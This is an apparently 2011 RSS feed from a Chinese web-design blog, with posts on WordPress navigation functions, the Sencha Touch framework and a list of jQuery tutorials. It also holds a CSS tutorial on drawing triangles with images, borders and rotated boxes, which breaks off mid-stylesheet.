<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>珑格斯 网站建设方案解决专家 &#187; 博客</title>
	<atom:link href="http://longoes.com/category/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://longoes.com</link>
	<description>珑格斯 网站建设方案解决专家</description>
	<lastBuildDate>Thu, 13 Oct 2011 03:13:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>wordpress下修改文章导航和页面导航</title>
		<link>http://longoes.com/blog/cms/wordpress/wordpress%e4%b8%8b%e4%bf%ae%e6%94%b9%e6%96%87%e7%ab%a0%e5%af%bc%e8%88%aa%e5%92%8c%e9%a1%b5%e9%9d%a2%e5%af%bc%e8%88%aa.html</link>
		<comments>http://longoes.com/blog/cms/wordpress/wordpress%e4%b8%8b%e4%bf%ae%e6%94%b9%e6%96%87%e7%ab%a0%e5%af%bc%e8%88%aa%e5%92%8c%e9%a1%b5%e9%9d%a2%e5%af%bc%e8%88%aa.html#comments</comments>
		<pubDate>Thu, 13 Oct 2011 03:13:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=527</guid>
		<description><![CDATA[导航获取函数为 &#60;?php wp_list_pages(&#8216;title_li=0&#38;sort_column=menu_order&#8217;); ?&#62; 文章分类获取行数为 &#60;?php wp_list_categories(&#8216;title_li=0&#38;orderby=name&#38;show_count=0&#38;depth=1&#8242;); ?&#62; 我们只要将获取的的方法调换即可。]]></description>
			<content:encoded><![CDATA[<p>导航获取函数为 &lt;?php wp_list_pages(&#8216;title_li=0&amp;sort_column=menu_order&#8217;); ?&gt;</p>
<p>文章分类获取行数为 &lt;?php wp_list_categories(&#8216;title_li=0&amp;orderby=name&amp;show_count=0&amp;depth=1&#8242;); ?&gt;</p>
<p>我们只要将获取的的方法调换即可。</p>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/cms/wordpress/wordpress%e4%b8%8b%e4%bf%ae%e6%94%b9%e6%96%87%e7%ab%a0%e5%af%bc%e8%88%aa%e5%92%8c%e9%a1%b5%e9%9d%a2%e5%af%bc%e8%88%aa.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>手机上的HTML5框架 Sencha Touch</title>
		<link>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e6%89%8b%e6%9c%ba%e4%b8%8a%e7%9a%84html5%e6%a1%86%e6%9e%b6-sencha-touch.html</link>
		<comments>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e6%89%8b%e6%9c%ba%e4%b8%8a%e7%9a%84html5%e6%a1%86%e6%9e%b6-sencha-touch.html#comments</comments>
		<pubDate>Fri, 24 Jun 2011 03:27:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[前端]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=523</guid>
		<description><![CDATA[第一个HTML5的手机应用框架 Sencha Touch allows you to develop web apps that look and feel native on Apple iOS and Google Android touchscreen devices.]]></description>
			<content:encoded><![CDATA[<div id="p_fullcontent" class="detail">
<h3>第一个HTML5的手机应用框架</h3>
<p>Sencha Touch allows you to develop web apps that look and feel  native on Apple iOS and Google Android touchscreen devices.</p>
<p><img width="752" height="450" alt="" src="/wp-content/uploads/alonguo/2011/06/17183957_tLNm.png"></p>
<p><img width="335" height="332" alt="" src="/wp-content/uploads/alonguo/2011/06/17183959_FanS.png"></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/%e5%89%8d%e7%ab%af/%e6%89%8b%e6%9c%ba%e4%b8%8a%e7%9a%84html5%e6%a1%86%e6%9e%b6-sencha-touch.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>33 超棒的 jQuery 教程</title>
		<link>http://longoes.com/blog/%e5%89%8d%e7%ab%af/33-%e8%b6%85%e6%a3%92%e7%9a%84-jquery-%e6%95%99%e7%a8%8b.html</link>
		<comments>http://longoes.com/blog/%e5%89%8d%e7%ab%af/33-%e8%b6%85%e6%a3%92%e7%9a%84-jquery-%e6%95%99%e7%a8%8b.html#comments</comments>
		<pubDate>Fri, 24 Jun 2011 03:01:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[前端]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=487</guid>
		<description><![CDATA[在这篇文章中，我们为您收集了一些非常有用的，而且效果很好的 jQuery 实际开发教程。 1. 使用 jQuery 构建一个可滑动的产品幻灯展示 2. 使用 PHP、jQuery 和 CSS3 实现的相片展位 3. 使用 jQuery 创建很酷的动画菜单 4. 使用 Raphaël 实现的动画技巧 5. 对图片进行各种角度的旋转 6. 图片墙 7. 图片缩略图滑动展示 8. 支持缩略图的全屏图片展示 9. 移动方框中的内容 10. Sliding Stacked Images With JQuery 11. 实现可拖放的购物车 12. Sweet Thumbnails Preview Gallery 13. 效果更佳的 checkbox 14. Shutter Effect Portfolio with jQuery and Canvas [...]]]></description>
			<content:encoded><![CDATA[<div class="NewsContent TextContent NewsType2" id="OSChina_News_19100">
<p>在这篇文章中，我们为您收集了一些非常有用的，而且效果很好的 jQuery 实际开发教程。</p>
<h4>1. 使用 jQuery 构建一个可滑动的产品幻灯展示</h4>
<p><a href="http://line25.com/tutorials/how-to-build-a-sliding-feature-slideshow-with-jquery"><img width="550" height="350" alt="" src="/wp-content/uploads/alonguo/2011/06/23235712_CqLI.jpg" class="alignnone size-full wp-image-10202"></a></p>
<h4>2. 使用 PHP、jQuery 和 CSS3 实现的相片展位</h4>
<p><a href="http://tutorialzine.com/2011/04/jquery-webcam-photobooth/"><img width="550" height="349" alt="" src="/wp-content/uploads/alonguo/2011/06/23235714_4iSn.jpg" class="alignnone size-full wp-image-10170"></a></p>
<h4>3. 使用 jQuery 创建很酷的动画菜单</h4>
<p><a href="http://line25.com/tutorials/how-to-create-a-cool-animated-menu-with-jquery"><img width="550" height="260" alt="" src="/wp-content/uploads/alonguo/2011/06/23235715_ifM9.jpg" class="alignnone size-full wp-image-10171"></a></p>
<h4>4. 使用 <a href="http://www.oschina.net/p/raphael">Raphaël</a> 实现的动画技巧</h4>
<p><a href="http://tympanus.net/codrops/2011/04/22/animated-skills-diagram/"><img width="550" height="340" alt="" src="/wp-content/uploads/alonguo/2011/06/23235716_dEdb.jpg" class="alignnone size-full wp-image-10172"></a></p>
<h4>5. 对图片进行各种角度的旋转</h4>
<p><a href="http://tympanus.net/codrops/2011/04/28/rotating-image-slider/"><img width="550" height="237" alt="" src="/wp-content/uploads/alonguo/2011/06/23235717_Tepy.jpg" class="alignnone size-full wp-image-10173"></a></p>
<h4>6. 图片墙</h4>
<p><a href="http://tympanus.net/codrops/2011/05/25/image-wall/"><img width="550" height="320" alt="" src="/wp-content/uploads/alonguo/2011/06/23235718_RM9j.jpg" class="alignnone size-full wp-image-10174"></a></p>
<h4>7. 图片缩略图滑动展示</h4>
<p><a href="http://tympanus.net/codrops/2011/01/27/thumbnails-preview-slider/"><img width="550" height="299" alt="" src="/wp-content/uploads/alonguo/2011/06/23235719_OMpE.jpg" class="alignnone size-full wp-image-10175"></a></p>
<h4>8. 支持缩略图的全屏图片展示</h4>
<p><a href="http://tympanus.net/codrops/2011/02/09/fullscreen-gallery-with-thumbnail-flip/"><img width="550" height="258" alt="" src="/wp-content/uploads/alonguo/2011/06/23235719_qgg9.jpg" class="alignnone size-full wp-image-10176"></a></p>
<h4>9. 移动方框中的内容</h4>
<p><a href="http://tympanus.net/codrops/2011/03/28/moving-boxes-content/"><img width="550" height="354" alt="" src="/wp-content/uploads/alonguo/2011/06/23235720_LzdX.jpg" class="alignnone size-full wp-image-10177"></a></p>
<h4>10. Sliding Stacked Images With JQuery</h4>
<p><a href="http://superdit.com/2011/05/14/sliding-stacked-images-with-jquery/"><img width="550" height="316" alt="" src="/wp-content/uploads/alonguo/2011/06/23235721_Lb5A.jpg" class="alignnone size-full wp-image-10178"></a></p>
<h4>11. 实现可拖放的购物车</h4>
<p><a href="http://superdit.com/2011/04/02/drag-drop-shopping-cart-using-jquery/"><img width="550" height="511" alt="" src="/wp-content/uploads/alonguo/2011/06/23235722_UuzD.jpg" class="alignnone size-full wp-image-10179"></a></p>
<h4>12. Sweet Thumbnails Preview Gallery</h4>
<p><a href="http://tympanus.net/codrops/2011/01/19/sweet-thumbnails-gallery/"><img width="550" height="315" alt="" src="/wp-content/uploads/alonguo/2011/06/23235723_ZGB1.jpg" class="alignnone size-full wp-image-10180"></a></p>
<h4>13. 效果更佳的 checkbox</h4>
<p><a href="http://tutorialzine.com/2011/03/better-check-boxes-jquery-css/"><img width="550" height="345" alt="" src="/wp-content/uploads/alonguo/2011/06/23235724_oihG.jpg" class="alignnone size-full wp-image-10181"></a></p>
<h4>14. Shutter Effect Portfolio with jQuery and Canvas</h4>
<p><a href="http://tutorialzine.com/2011/03/photography-portfolio-shutter-effect/"><img width="550" height="446" alt="" src="/wp-content/uploads/alonguo/2011/06/23235725_tR1U.jpg" class="alignnone size-full wp-image-10182"></a></p>
<h4>15. Making a Flickr-powered Slideshow</h4>
<p><a href="http://tutorialzine.com/2011/02/flickr-api-slideshow-jquery/"><img width="550" height="379" alt="" src="/wp-content/uploads/alonguo/2011/06/23235727_XUpI.jpg" class="alignnone size-full wp-image-10183"></a></p>
<h4>16. 实现简单的工具提示菜单</h4>
<p><a href="http://superdit.com/2011/01/26/simple-jquery-flickr-style-tooltip-menu/"><img width="550" height="356" alt="" src="/wp-content/uploads/alonguo/2011/06/23235728_vxMb.jpg" class="alignnone size-full wp-image-10184"></a></p>
<h4>17. 投票并显示结果</h4>
<p><a href="http://superdit.com/2011/03/26/simple-vote-using-jquery-animate/"><img width="550" height="429" alt="" src="/wp-content/uploads/alonguo/2011/06/23235729_f2El.jpg" class="alignnone size-full wp-image-10185"></a></p>
<h4>18. Cover Flow Remade with CSS and jQuery</h4>
<p><a href="http://www.elated.com/articles/cover-flow-remade-with-css-and-jquery/"><img width="550" height="431" alt="" src="/wp-content/uploads/alonguo/2011/06/23235730_yVU0.jpg" class="alignnone size-full wp-image-10186"></a></p>
<h4>19. Rocking and Rolling Rounded Menu with jQuery</h4>
<p><a href="http://tympanus.net/codrops/2010/04/30/rocking-and-rolling-rounded-menu-with-jquery/"><img width="550" height="317" alt="" src="/wp-content/uploads/alonguo/2011/06/23235732_WvvU.jpg" class="alignnone size-full wp-image-10187"></a></p>
<h4>20. Create an Attractive Before and After Photo Effect with jQuery</h4>
<p><a href="http://www.queness.com/post/6480/create-an-attractive-before-and-after-photo-effect-with-jquery"><img width="550" height="320" alt="" src="/wp-content/uploads/alonguo/2011/06/23235733_5BxW.jpg" class="alignnone size-full wp-image-10188"></a></p>
<h4>21. 动画的表单切换</h4>
<p><a href="http://tympanus.net/codrops/2011/01/06/animated-form-switching/"><img width="550" height="480" alt="" src="/wp-content/uploads/alonguo/2011/06/23235735_ribI.jpg" class="alignnone size-full wp-image-10189"></a></p>
<h4>22. 视差滑块</h4>
<p><a href="http://tympanus.net/codrops/2011/01/03/parallax-slider/"><img width="550" height="284" alt="" src="/wp-content/uploads/alonguo/2011/06/23235737_0fge.jpg" class="alignnone size-full wp-image-10190"></a></p>
<h4>23. 高级的联系表单，要求 PHP 支持</h4>
<p><a href="http://www.tutorialstag.com/advanced-jquery-contact-form-with-php-support.html"><img width="550" height="575" alt="" src="/wp-content/uploads/alonguo/2011/06/23235738_iPXv.jpg" class="alignnone size-full wp-image-10191"></a></p>
<h4>24. jQuery 和 CSS 实现的单页相册</h4>
<p><a href="http://www.tutorialshock.com/tutorials/single-page-portfolio-vertical-parallax-jquery-css/"><img width="550" height="419" alt="" src="/wp-content/uploads/alonguo/2011/06/23235739_IDPB.jpg" class="alignnone size-full wp-image-10192"></a></p>
<h4>25. 如何制作自动的相片展示</h4>
<p><a href="http://tutorialzine.com/2011/01/how-to-make-auto-advancing-slideshows/"><img width="550" height="321" alt="" src="/wp-content/uploads/alonguo/2011/06/23235742_AewQ.jpg" class="alignnone size-full wp-image-10193"></a></p>
<h4>26. Shuffle Between Images Using JQuery</h4>
<p><a href="http://superdit.com/2011/01/22/shuffle-between-images-using-jquery/"><img width="550" height="362" alt="" src="/wp-content/uploads/alonguo/2011/06/23235744_9zw6.jpg" class="alignnone size-full wp-image-10194"></a></p>
<h4>27. JQuery Expand Stacked Images Using Slider</h4>
<p><a href="http://superdit.com/2011/01/13/jquery-expand-stacked-images-using-slider/"><img width="550" height="400" alt="" src="/wp-content/uploads/alonguo/2011/06/23235747_4JaW.jpg" class="alignnone size-full wp-image-10195"></a></p>
<h4>28. 创建即时贴</h4>
<p><a href="http://www.admixweb.com/2011/03/22/create-a-posticks-sticky-notes-app-with-html5-css3-and-jquery/"><img width="550" height="496" alt="" src="/wp-content/uploads/alonguo/2011/06/23235748_ROhw.jpg" class="alignnone size-full wp-image-10196"></a></p>
<h4>29. Create an Exploding Logo with CSS3 and MooTools or&nbsp;jQuery</h4>
<p><a href="http://davidwalsh.name/css-explode"><img width="550" height="334" alt="" src="/wp-content/uploads/alonguo/2011/06/23235749_yczk.jpg" class="alignnone size-full wp-image-10197"></a></p>
<h4>30. 动画效果的滚动到顶部</h4>
<p><a href="http://webdesignerwall.com/tutorials/animated-scroll-to-top"><img width="550" height="318" alt="" src="/wp-content/uploads/alonguo/2011/06/23235750_Gwaz.jpg" class="alignnone size-full wp-image-10198"></a></p>
<h4>31. Creating a modern gallery with raphael</h4>
<p><a href="http://playground.mobily.pl/tutorials/creating-a-modern-gallery-with-raphael.html"><img width="550" height="285" alt="" src="/wp-content/uploads/alonguo/2011/06/23235752_Fuyh.jpg" class="alignnone size-full wp-image-10199"></a></p>
<h4>32. Lets make some mess using jQuery and CSS3</h4>
<p><a href="http://playground.mobily.pl/tutorials/lets-make-some-mess-using-jquery-and-css3.html"><img width="550" height="276" alt="" src="/wp-content/uploads/alonguo/2011/06/23235753_ZDIO.jpg" class="alignnone size-full wp-image-10200"></a></p>
<h4>33. Vintage typewriter: The sexiest jQuery contact form ever</h4>
<p><a href="http://www.tutorialshock.com/tutorials/jquery-contact-form/"><img width="550" height="478" alt="" src="/wp-content/uploads/alonguo/2011/06/23235754_IHkK.jpg" class="alignnone size-full wp-image-10201"></a></p>
<p style="text-indent:0em;" class="ProjectOfNews">更多关于<a href="/p/jquery">jQuery</a>的详细信息，或者下载地址请点<a href="/action/project/go?id=125&amp;p=download">这里</a></p>
</p></div>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/%e5%89%8d%e7%ab%af/33-%e8%b6%85%e6%a3%92%e7%9a%84-jquery-%e6%95%99%e7%a8%8b.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于三角形的制作方法</title>
		<link>http://longoes.com/blog/%e5%85%b3%e4%ba%8e%e4%b8%89%e8%a7%92%e5%bd%a2%e7%9a%84%e5%88%b6%e4%bd%9c%e6%96%b9%e6%b3%95.html</link>
		<comments>http://longoes.com/blog/%e5%85%b3%e4%ba%8e%e4%b8%89%e8%a7%92%e5%bd%a2%e7%9a%84%e5%88%b6%e4%bd%9c%e6%96%b9%e6%b3%95.html#comments</comments>
		<pubDate>Fri, 14 Jan 2011 15:50:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[博客]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=484</guid>
		<description><![CDATA[三角形我们经常用在列表、下拉提示、面包屑导航的位置，给用户以导向的引导作用，比如，在有下拉列表的地方，我们可以用向下的箭头，在列表的时候，我们能告诉用户每个列表项和下一个列表项的关系，当在面包屑导航中，能让用户了解他现在所处的栏目或者频道。我们有哪些方法来实现它呢，下面我根据我们的实际工作中的经验作了简单的总结。 第一种方案，我们可以通过使用背景图片的方式来处理，这也是我们最经常用的方法。 1）单个切出三角形，我们可以根据UI设计的需求，切出与之相适应的图片，比如 ，我们能方便的根据需求，制作不同高度和颜色的三角形。在使用方面，HTML代码和CSS代码相对简单。如下面图是示例： 这种直接使用背景图片的方法适合我们在三角形包含渐变、纹样、肌理等特殊效果的时候，我们可以设置它的颜色来保证图形边缘与背景色完美一致。缺点是我们需要为每个不同的方向需求制作一个图片，增加了http请求和CSS代码的数量。 由于这种方法比较简单,我们就不做演示了. 2）相比之前，我们怎么做到减少http请求，同时也标示出四个方向的三角形呢？我们可以制作一个菱形 ，通过使用CSS的背景定位来选择与之相匹配的形状。这样我们就能用一个图形，达到四个图形的目的。 &#60;/p&#62; &#60;div style=&#34;width:100px;height:100px;position:relative;margin:34px;background:#6699FF&#34;&#62; &#60;em style=&#34;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 0;width:67px;height:34px;display:block;position:absolute;top:-34px;left:15px&#34;&#62;&#60;/em&#62;&#60;em style=&#34;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat -35px 0;width:34px;height:67px;display:block;position:absolute;right:-34px;top:15px;&#34;&#62;&#60;/em&#62;&#60;br /&#62; &#60;em style=&#34;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 -35px;width:67px;height:34px;display:block;position:absolute;bottom:-34px;left:15px;&#34;&#62;&#60;/em&#62;&#60;br /&#62; &#60;em style=&#34;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 0;width:34px;height:67px;display:block;position:absolute;left:-34px;top:15px;&#34;&#62;&#60;/em&#62; &#60;/div&#62; &#60;p&#62; 3）方法二种的方法虽然我们可以实现调用一次背景图片标示四种三角状态的情况，但是在颜色方面确实单一的，我们只能由一种颜色，那我们需要增加三角形同样在激发鼠标悬浮伪类响应的时候，我们应该怎么做呢？比如鼠标悬浮的时候由红色变成橙色？那我们就可以使用这种方法，通过正负形的方法，方法二中的方法我们通过一个正形，那下面的例子我们使用一个负形 HTML文件 &#60;/p&#62; &#60;div style=&#34;width:100px;height:100px;position:relative;margin:34px;background:#6699FF&#34;&#62; &#60;a class=&#34;n_a_1&#34;&#62;&#60;/a&#62;&#60;br /&#62; &#60;a class=&#34;n_a_2&#34; &#62;&#60;/a&#62;&#60;br /&#62; &#60;a class=&#34;n_a_3&#34; &#62;&#60;/a&#62;&#60;br /&#62; &#60;a class=&#34;n_a_4&#34;&#62;&#60;/a&#62; &#60;/div&#62; &#60;p&#62; CSS文件 [...]]]></description>
			<content:encoded><![CDATA[<p>三角形我们经常用在列表、下拉提示、面包屑导航的位置，给用户以导向的引导作用，比如，在有下拉列表的地方，我们可以用向下的箭头，在列表的时候，我们能告诉用户每个列表项和下一个列表项的关系，当在面包屑导航中，能让用户了解他现在所处的栏目或者频道。我们有哪些方法来实现它呢，下面我根据我们的实际工作中的经验作了简单的总结。</p>
<p>第一种方案，我们可以通过使用背景图片的方式来处理，这也是我们最经常用的方法。<br />
1）单个切出三角形，我们可以根据UI设计的需求，切出与之相适应的图片，比如 ，我们能方便的根据需求，制作不同高度和颜色的三角形。在使用方面，HTML代码和CSS代码相对简单。如下面图是示例：<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/special_2.jpg" alt="" title="border_opercity"  class="alignnone size-full wp-image-4526" /><br />
这种直接使用背景图片的方法适合我们在三角形包含渐变、纹样、肌理等特殊效果的时候，我们可以设置它的颜色来保证图形边缘与背景色完美一致。缺点是我们需要为每个不同的方向需求制作一个图片，增加了http请求和CSS代码的数量。<br />
由于这种方法比较简单,我们就不做演示了.<br />
2）相比之前，我们怎么做到减少http请求，同时也标示出四个方向的三角形呢？我们可以制作一个菱形 ，通过使用CSS的背景定位来选择与之相匹配的形状。这样我们就能用一个图形，达到四个图形的目的。</p>
<div style="width:100px;height:100px;position:relative;margin:34px;background:#6699FF">
<em style="background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 0;width:67px;height:34px;display:block;position:absolute;top:-34px;left:15px"></em><em style="background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat -35px 0;width:34px;height:67px;display:block;position:absolute;right:-34px;top:15px;"></em><em style="background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 -35px;width:67px;height:34px;display:block;position:absolute;bottom:-34px;left:15px;"></em><em style="background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 0;width:34px;height:67px;display:block;position:absolute;left:-34px;top:15px;"></em>
</div>
<p><pre class="brush: plain; title: ;">&lt;/p&gt;
&lt;div style=&quot;width:100px;height:100px;position:relative;margin:34px;background:#6699FF&quot;&gt;
	&lt;em style=&quot;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 0;width:67px;height:34px;display:block;position:absolute;top:-34px;left:15px&quot;&gt;&lt;/em&gt;&lt;em style=&quot;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat -35px 0;width:34px;height:67px;display:block;position:absolute;right:-34px;top:15px;&quot;&gt;&lt;/em&gt;&lt;br /&gt;
    &lt;em style=&quot;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 -35px;width:67px;height:34px;display:block;position:absolute;bottom:-34px;left:15px;&quot;&gt;&lt;/em&gt;&lt;br /&gt;
    &lt;em style=&quot;background:url(http://varhi.com/wp-content/uploads/2011/01/triangular_4.gif) no-repeat 0 0;width:34px;height:67px;display:block;position:absolute;left:-34px;top:15px;&quot;&gt;&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;</pre><br />
3）方法二种的方法虽然我们可以实现调用一次背景图片标示四种三角状态的情况，但是在颜色方面确实单一的，我们只能由一种颜色，那我们需要增加三角形同样在激发鼠标悬浮伪类响应的时候，我们应该怎么做呢？比如鼠标悬浮的时候由红色变成橙色？那我们就可以使用这种方法，通过正负形的方法，方法二中的方法我们通过一个正形，那下面的例子我们使用一个负形  </p>
<div style="width:100px;height:100px;position:relative;margin:34px;background:#6699FF">
<a class="n_a_1"></a><a class="n_a_2" ></a><a  class="n_a_3" ></a><a  class="n_a_4"></a>
</div>
<style type="text/css">
<!--
.n_a_1,.n_a_2,.n_a_3,.n_a_4{background-image:url(http://varhi.com/wp-content/uploads/2011/01/negative_4.gif);background-repeat:no-repeat;position:absolute;display:block;}
a.n_a_1{background-color:#0033CC;background-position:0 0;width:67px;height:34px;top:-34px;left:15px}
a.n_a_1:hover{background-color:#db0085}
a.n_a_2{background-color:#0066CC;background-position:-33px 0;width:34px;height:67px;right:-34px;top:15px;}
a.n_a_2:hover{background-color:#db0085}
a.n_a_3{background-color:#00CCCC;background-position:0 -33px;width:67px;height:34px;bottom:-34px;left:15px;}
a.n_a_3:hover{background-color:#db0085}
a.n_a_4{background-color:#00FFCC;background-position:0 0;width:34px;height:67px;left:-34px;top:15px;}
a.n_a_4:hover{background-color:#db0085}
-->
</style>
<p>HTML文件<br />
<pre class="brush: plain; title: ;">&lt;/p&gt;
&lt;div style=&quot;width:100px;height:100px;position:relative;margin:34px;background:#6699FF&quot;&gt;
    &lt;a class=&quot;n_a_1&quot;&gt;&lt;/a&gt;&lt;br /&gt;
    &lt;a class=&quot;n_a_2&quot; &gt;&lt;/a&gt;&lt;br /&gt;
    &lt;a class=&quot;n_a_3&quot; &gt;&lt;/a&gt;&lt;br /&gt;
    &lt;a class=&quot;n_a_4&quot;&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;</pre><br />
CSS文件<br />
<pre class="brush: plain; title: ;">&lt;br /&gt;
.n_a_1,.n_a_2,.n_a_3,.n_a_4{background-image:url(http://varhi.com/wp-content/uploads/2011/01/negative_4.gif);background-repeat:no-repeat;position:absolute;display:block;}&lt;br /&gt;
a.n_a_1{background-color:#0033CC;background-position:0 0;width:67px;height:34px;top:-34px;left:15px}&lt;br /&gt;
a.n_a_1:hover{background-color:#db0085}&lt;br /&gt;
a.n_a_2{background-color:#0066CC;background-position:-33px 0;width:34px;height:67px;right:-34px;top:15px;}&lt;br /&gt;
a.n_a_2:hover{background-color:#db0085}&lt;br /&gt;
a.n_a_3{background-color:#00CCCC;background-position:0 -33px;width:67px;height:34px;bottom:-34px;left:15px;}&lt;br /&gt;
a.n_a_3:hover{background-color:#db0085}&lt;br /&gt;
a.n_a_4{background-color:#00FFCC;background-position:0 0;width:34px;height:67px;left:-34px;top:15px;}&lt;br /&gt;
a.n_a_4:hover{background-color:#db0085}&lt;br /&gt;
</pre></p>
<p>这样子，我们就能很方便的改变背景颜色来获得不同的颜色的三角形了。<br />
但是我们也发现了另一个问题，那就是当我们希望把这个三角形放到有颜色的背景时，构成其负形的区域颜色也会成为我们的限制，因为我们必须将构成负形的颜色与之相匹配。而且第二种方法和第三种方法中只能实现固定尺寸的正三角形，如果我们想随时改变它形状的话，不使用css3的背景大小属性background-size话（此属性已经已经被Opera\firefox\Safari\Chrome\IE 9），可能下面的方法更适合。</p>
<p>第二种方案，我们不是通过图形图片的方式,而是直接使用标签本身的css属性特点或者字符来进行创作.<br />
1)我们可以使用border 属性来实现，border属性包括宽度、颜色、样式。我们可以改变它的颜色来适应。通过下图我能就能分析出,border属性相关特点:<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/border_opercity.gif" alt="" title="border_opercity" width="473" height="300" class="alignnone size-full wp-image-4526" /></p>
<div style="border-width:30px;border-color:#ff6699 #ff3366 #cc0066 #990033;border-style:solid;width:0;height:0;line-height:0; "></div>
<p>相关代码：<br />
<pre class="brush: plain; title: ;">&lt;br /&gt;
&lt;!DOCTYPE html&gt;&lt;br /&gt;
&lt;html&gt;&lt;br /&gt;
    &lt;head&gt;&lt;br /&gt;
    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt; &lt;/p&gt;
&lt;style type=&quot;text/css&quot;&gt; 
    &lt;!-- 
        #boder_arrow{border-width:20px;border-color:#ff6699 #ff3366 #cc0066 #990033;border-style:solid;width:0;height:0;line-height:0; } 
    --&gt; 
    &lt;/style&gt;
&lt;p&gt;    &lt;/head&gt;&lt;br /&gt;
&lt;body&gt; &lt;/p&gt;
&lt;div id=&quot;boder_arrow&quot;&gt; &lt;/div&gt;
&lt;p&gt;&lt;/body&gt;&lt;br /&gt;
&lt;/html&gt;&lt;br /&gt;
</pre></p>
<p> 我们可以改变border不同方向的颜色来找到我们需要的颜色，我们甚至可以通过border-width的修改,创造不同角度的三角形.</p>
<div style="border-width:30px 10px 10px 10px;border-color:#ff6699 transparent transparent;border-style:solid;width:0;height:0;line-height:0; "></div>
<p></p>
<div style="border-width:20px 20px 20px 0;border-color:transparent #ff6699 transparent transparent;border-style:solid;width:0;height:0;line-height:0; "></div>
<p></p>
<div style="border-width:0px 20px 30px 20px;border-color:transparent transparent #ff6699 transparent;border-style:solid;width:0;height:0;line-height:0; "></div>
<p></p>
<div style="border-width:10px 0px 10px 40px;border-color:transparent transparent transparent  #ff6699;border-style:solid;width:0;height:0;line-height:0; "></div>
<p>是不是上面的通过修改border-width后获得的上面的零件很有意思，可以让我们轻易的节省为创造三角型用掉的那个宝贵的 http请求。<br />
巧思无难事，可能有时候你需要的并不是一个等腰的三角型，比如说我们常见到下面这种图形<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/specail_three.gif" /><br />
那个不是等腰三角形的图形，我们也能通过改变边框的宽度来得到：</p>
<div style="border-color: transparent #FF6699 transparent transparent;border-style: solid;border-width: 0 30px 20px 0;height: 0;line-height: 0;width: 0;"></div>
<p><pre class="brush: plain; title: ;">&lt;/p&gt;
&lt;div style=&quot;border-color: transparent #FF6699 transparent transparent;border-style: solid;border-width: 0 30px 20px 0;height: 0;line-height: 0;width: 0;&quot;&gt;&lt;/div&gt;
&lt;p&gt;</pre></p>
<p>2)通过旋转块状标签角度的方法获得,这种方法需要支持css3属性transform的浏览器支持.<br />
我们经常需要这样的形式:<br />
 <img src="http://varhi.com/wp-content/uploads/2011/01/specail_roate1.gif" /><br />
那我们对这个图形进行分解<br />
<img src="http://varhi.com/wp-content/uploads/2011/01/specail_roate2.gif" /><br />
那我们先来实现上面分解的图形：</p>
<div class="box">
<div class="a"></div>
<div class="b"></div>
<div class="c"></div>
<div class="d"></div>
</div>
<style>
<!--
.box{width:150px; height:150px; text-align:center; background:#FF6600; position:relative; margin:50px;}
.a,.b,.c,.d{width:50px; height:50px; background:#ff9999; position:absolute; -webkit-transform:rotate(45deg); -moz-transform:rotate(45deg);transform:rotate(45deg); z-index:10;}
.a{left:-25px; top:21px;}
.b{right:21px; top:-25px;}
.c{right:-25px; bottom:21px;}
.d{left:21px; bottom:-25px;}
-->
</style>
<p>当我们将旋转后的正方形的背景色色值设置为相交盒形相同的色值时,他们就融为一体了.</p>
<div class="box_same">
<div class="a_same"></div>
<div class="b_same"></div>
<div class="c_same"></div>
<div class="d_same"></div>
</div>
<style>
<!--
.box_same{width:150px; height:150px; text-align:center; background:#ff9999; position:relative; margin:50px;}
.a_same,.b_same,.c_same,.d_same{width:50px; height:50px; background:#ff9999; position:absolute; -webkit-transform:rotate(45deg); -moz-transform:rotate(45deg);transform:rotate(45deg); z-index:10;}
.a_same{left:-25px; top:21px;}
.b_same{right:21px; top:-25px;}
